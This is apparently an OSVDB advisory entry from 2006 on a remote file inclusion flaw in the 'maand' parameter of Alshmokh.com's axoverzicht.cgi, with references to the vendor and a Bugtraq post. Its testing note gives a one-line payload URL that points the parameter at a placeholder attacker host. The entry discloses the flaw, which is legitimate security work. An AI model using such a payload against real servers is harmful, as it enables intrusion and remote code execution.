Alshmokh.com axoverzicht.cgi maand Variable Remote File Inclusion

2006-04-18T03:55:52
ID OSVDB:24950
Type osvdb
Reporter OSVDB
Modified 2006-04-18T03:55:52

Description

Manual Testing Notes

http://[target]/path/axoverzicht.cgi?maand=http://[attacker]/

References:

Vendor URL: http://www.alshmokh.com/ Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-04/0420.html